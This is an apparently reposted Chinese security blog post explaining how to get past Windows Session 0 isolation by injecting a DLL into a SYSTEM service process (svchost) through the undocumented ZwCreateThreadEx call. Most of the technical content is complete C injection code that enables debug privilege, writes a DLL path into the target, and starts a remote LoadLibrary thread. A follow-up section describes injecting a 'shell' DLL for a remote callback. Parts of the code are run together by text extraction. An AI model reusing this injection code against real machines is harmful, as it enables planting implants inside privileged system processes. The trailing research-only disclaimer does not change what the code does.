【Tips】SESSION 0 隔离的远程线程注入

admin 2025年6月18日20:48:07评论15 views字数 3979阅读13分15秒阅读模式
Tips +1

Session 0 注入是一种针对 Windows 系统服务进程(运行于高权限 Session 0 环境)的代码注入技术,用于绕过系统安全隔离机制。其核心在于通过底层 API 直接创建非挂起线程,克服标准注入方法在 Session 0 中的限制。

核心原理

  1. Session 0 隔离机制
    • Windows Vista 后引入的 Session 0 隔离将系统服务(如 svchost.exewininit.exe)与用户应用分离,服务进程无法直接与用户桌面交互。
    • 传统注入方法(如CreateRemoteThread)因底层调用ZwCreateThreadEx时强制设置线程挂起标志(CreateThreadFlags=1),导致线程在 Session 0 中无法恢复执行23。
  1. 关键突破点:ZwCreateThreadEx参数控制
    • 直接调用未公开的 ZwCreateThreadEx 函数,并将第7个参数 CreateThreadFlags(64位)或 CreateSuspended(32位)设为 0,使线程创建后立即执行,绕过挂起问题。

代码实现

1、获取要注入的目标进程的 PID,这里获取svchost 进程796

【Tips】SESSION 0 隔离的远程线程注入

2、执行注入操作

  • 执行注入操作使用函数 ZwCreateRemoteThreadEx 代码如下:
#include<iostream>#include<Windows.h>BOOL EnableDebugPrivilege(BOOL bEnable){    BOOL fOK = FALSE;        HANDLE hToken;    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))    {        TOKEN_PRIVILEGES tp;        tp.PrivilegeCount = 1;        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);        tp.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULLNULL);        fOK = (GetLastError() == ERROR_SUCCESS);        CloseHandle(hToken);    }    return fOK;}//远程线程注入boolRemoteThreadInject(int Pid, constchar* Path){    //1.使用PID打开进程获取权限    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, Pid);    if (hProcess == NULL)    {        printf("打开进程失败n");        return FALSE;    }    else    {        printf("打开进程成功n");    }    //2.申请内存,写入DLL路径    LPVOID pBuf = VirtualAllocEx(hProcess, NULLstrlen(Path) + 1, MEM_COMMIT, PAGE_READWRITE);    if (!pBuf)    {        printf("申请内存失败!n");        return false;    }    else    {        printf("申请内存成功!n");    }    //3.写入内存    // SIZE_T dwWrite = 0;    if (!WriteProcessMemory(hProcess, pBuf, Path, strlen(Path) + 1NULL))    {        printf("写入内存失败!n");        return false;    }    //4.创建远程线程,让对方调用LoadLibrary    HMODULE hModule = LoadLibrary("kernel32.dll");    LPTHREAD_START_ROUTINE pfnStartAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");    if (!pfnStartAddress)    {        printf("获取LoadLibraryW失败!n");        return false;    }    else    {        printf("获取LoadLibraryW成功!n");    }    //5.加载ntdll.dll    HMODULE hNtdll = LoadLibrary("ntdll.dll");    if (NULL == hNtdll)    {        printf("加载ntdll.dll失败!");        CloseHandle(hProcess);        return FALSE;    }    //6.获取ZwCreateThreadEx的函数地址    typedefDWORD(WINAPI* typedef_ZwCreateThreadEx)(        PHANDLE ThreadHandle,        ACCESS_MASK DesiredAccess,        LPVOID ObjectAttributes,        HANDLE ProcessHandle,        LPTHREAD_START_ROUTINE lpStartAddress,        LPVOID lpParameter,        ULONG CreateThreadFlags,        SIZE_T ZeroBits,        SIZE_T StackSize,        SIZE_T MaximumStackSize,        LPVOID pUnkown);    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx");    if (NULL == ZwCreateThreadEx)    {        printf("获取ZwCreateThreadEx函数地址失败!");        CloseHandle(hProcess);        return FALSE;    }    //7.在目标进程中创建线程    HANDLE hRemoteThread = NULL;    DWORD dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,        pfnStartAddress, pBuf, 0000NULL);    if (NULL == hRemoteThread)    {        printf("目标进程中创建线程失败!");        CloseHandle(hProcess);        return FALSE;    }    else    {        printf("目标进程中创建线程成功!n");    }    //8.等待线程结束返回,释放资源    WaitForSingleObject(hRemoteThread, -1);    CloseHandle(hRemoteThread);    VirtualFreeEx(hProcess, pBuf, 0, MEM_FREE);}intmain(){    EnableDebugPrivilege(SE_PRIVILEGE_ENABLED);    printf("GetDuBug");    const char* dllpath = "C:\Windows\Temp\TestDll.dll";    RemoteThreadInject(796, dllpath);    printf("执行结束");    return 0;}
【Tips】SESSION 0 隔离的远程线程注入

注入成功后可以看到成功加载了TestDll.dll

【Tips】SESSION 0 隔离的远程线程注入
【Tips】SESSION 0 隔离的远程线程注入

实战利用

1、使用常规的dll 注入

首先我们准备一个 dll的shell

【Tips】SESSION 0 隔离的远程线程注入

然后我们使用常规的dll 注入,使用 dll 注入器注入 shell.dll到普通权限session 1,可以看到注入后成功上线

【Tips】SESSION 0 隔离的远程线程注入
【Tips】SESSION 0 隔离的远程线程注入
【Tips】SESSION 0 隔离的远程线程注入
【Tips】SESSION 0 隔离的远程线程注入

接下来我们使用dll注入器尝试将shell.dll 注入到 系统服务进程(session 0)

【Tips】SESSION 0 隔离的远程线程注入

可以看到注入失败,这是因为Session是Windows系统的一个安全特性,该特性引入了针对用户体验提高的安全机制,即拆分Session 0和用户会话,这种拆分Session 0Session 1的机制对于提高安全性非常有用,这是因为将桌面服务进程,驱动程序以及其他系统级服务取消了与用户会话的关联,从而限制了攻击者可用的攻击面。

【Tips】SESSION 0 隔离的远程线程注入

2、Session 0 注入

那么如何突破呢?通过前人对CreateRemoteThread逆向研究发现,在CreateRemoteThread函数会在内部调用ZwCreateThreadEx,且会把第七个参数创建标识设置为1,这样就会使创建的线程挂起,这也就是注入失败的原因。

那么如果我们想要创建的线程成功执行则需要将第七个参数指定为0,这样就能在创建线程后正常执行。下面我们将dll远程注入创建进程的函数从CreateRemoteThread换成了ZwCreateThreadEx。

【Tips】SESSION 0 隔离的远程线程注入
【Tips】SESSION 0 隔离的远程线程注入
【Tips】SESSION 0 隔离的远程线程注入
【Tips】SESSION 0 隔离的远程线程注入
End

 

原文始发于微信公众号(贝雷帽SEC):【Tips】SESSION 0 隔离的远程线程注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月18日20:48:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Tips】SESSION 0 隔离的远程线程注入https://cn-sec.com/archives/4177031.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息